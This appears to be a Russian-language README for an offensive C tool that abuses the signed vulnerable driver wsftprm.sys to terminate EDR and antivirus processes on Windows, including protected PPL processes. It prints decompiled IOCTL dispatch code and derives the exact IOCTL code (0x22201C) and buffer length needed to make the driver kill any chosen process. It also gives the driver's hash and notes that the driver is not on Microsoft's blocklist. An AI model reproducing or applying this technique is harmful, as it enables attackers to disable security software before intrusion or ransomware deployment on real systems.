
Инструмент на C, эксплуатирующий уязвимый драйвер ядра wsftprm.sys для завершения защищённых процессов EDR/AV в Windows, включая процессы PPL, через реверсированную логику диспетчеризации IOCTL.
F, Ещё один драйвер сгорел.. Я некоторое время скрывал драйвер wsftprm.sys ;) но, поскольку кто-то опубликовал публичный POC, я открываю его. Мы все знаем, что скоро его добавят в список блокировки драйверов, так что вот моя реализация того же самого — на C
Этот проект эксплуатирует уязвимый драйвер wsftprm.sys (антифрод-драйвер Topaz) для завершения защищённых процессов (например, служб антивируса/EDR) в Windows.
По состоянию на январь 2026 года wsftprm.sys (SHA-256: FF5DBDCF6D7AE5D97B6F3EF412DF0B977BA4A844C45B30CA78C0EEB2653D69A8) остаётся одним из подписанных уязвимых драйверов, который не входит в официальный список заблокированных уязвимых драйверов Microsoft.
В сети куча информации о том, как загрузить и реверсить драйвер, так что обращайтесь к любой из них. Единственное, что интересно в этом драйвере — как он обрабатывает IOCTL. Драйвер не использует стандартный оператор switch для диспетчеризации IOCTL. Вместо этого он применяет цепочку вычитаний из кода IOCTL, чтобы скрыть реальные значения.
__int64 __fastcall DispatchDeviceControl(__int64 a1, __int64 a2, ...)
{
// ...
v7 = IoControlCode; // v6[6] = Parameters.DeviceIoControl.IoControlCode
v8 = v7 - 0x222000;
v9 = v8 - 4;
v10 = v9 - 4;
v11 = v10 - 16;
if ( v11 == 4 && InputBufferLength == 1036 )
{
// Copy 1036-byte input buffer
// Extract first DWORD as PID (v41)
// Call sub_14000264C(v41, buffer) → leads to termination
}
}
sub_14000264C(unsigned int a1, __int64 a2)
{
// ...
v4 = sub_140002848(a1); // a1 = PID from buffer[0..3]
}
__int64 __fastcall sub_140002848(unsigned int a1) // PID
{
CLIENT_ID ClientId = { (HANDLE)a1, 0 };
OBJECT_ATTRIBUTES ObjAttr = { sizeof(ObjAttr), 0, 0, 0, 0, 0 };
HANDLE ProcessHandle;
ZwOpenProcess(&ProcessHandle, PROCESS_ALL_ACCESS, &ObjAttr, &ClientId);
if (NT_SUCCESS(status) && ProcessHandle)
{
ZwTerminateProcess(ProcessHandle, 0);
ZwClose(ProcessHandle);
}
// ...
}
Итак, теперь мы знаем предварительные условия для достижения уязвимой функции. По сути, v11 == 4 && InputBufferLength == 1036, так что мы можем как бы пройти назад от условия, чтобы получить код IOCTL. Что-то вроде этого:
v11 == 4
→ v10 - 16 == 4 → v10 = 20 (0x14)
→ v9 - 4 == 20 → v9 = 24 (0x18)
→ v8 - 4 == 24 → v8 = 28 (0x1C)
→ v7 - 0x222000 == 28 → v7 = 0x222000 + 0x1C = 0x22201C
А затем вы можете использовать DeviceIoControl с кодом IOCTL, чтобы завершить нужный процесс (включая PPL-процессы).
Последний раз протестировано на Windows версии 25H2!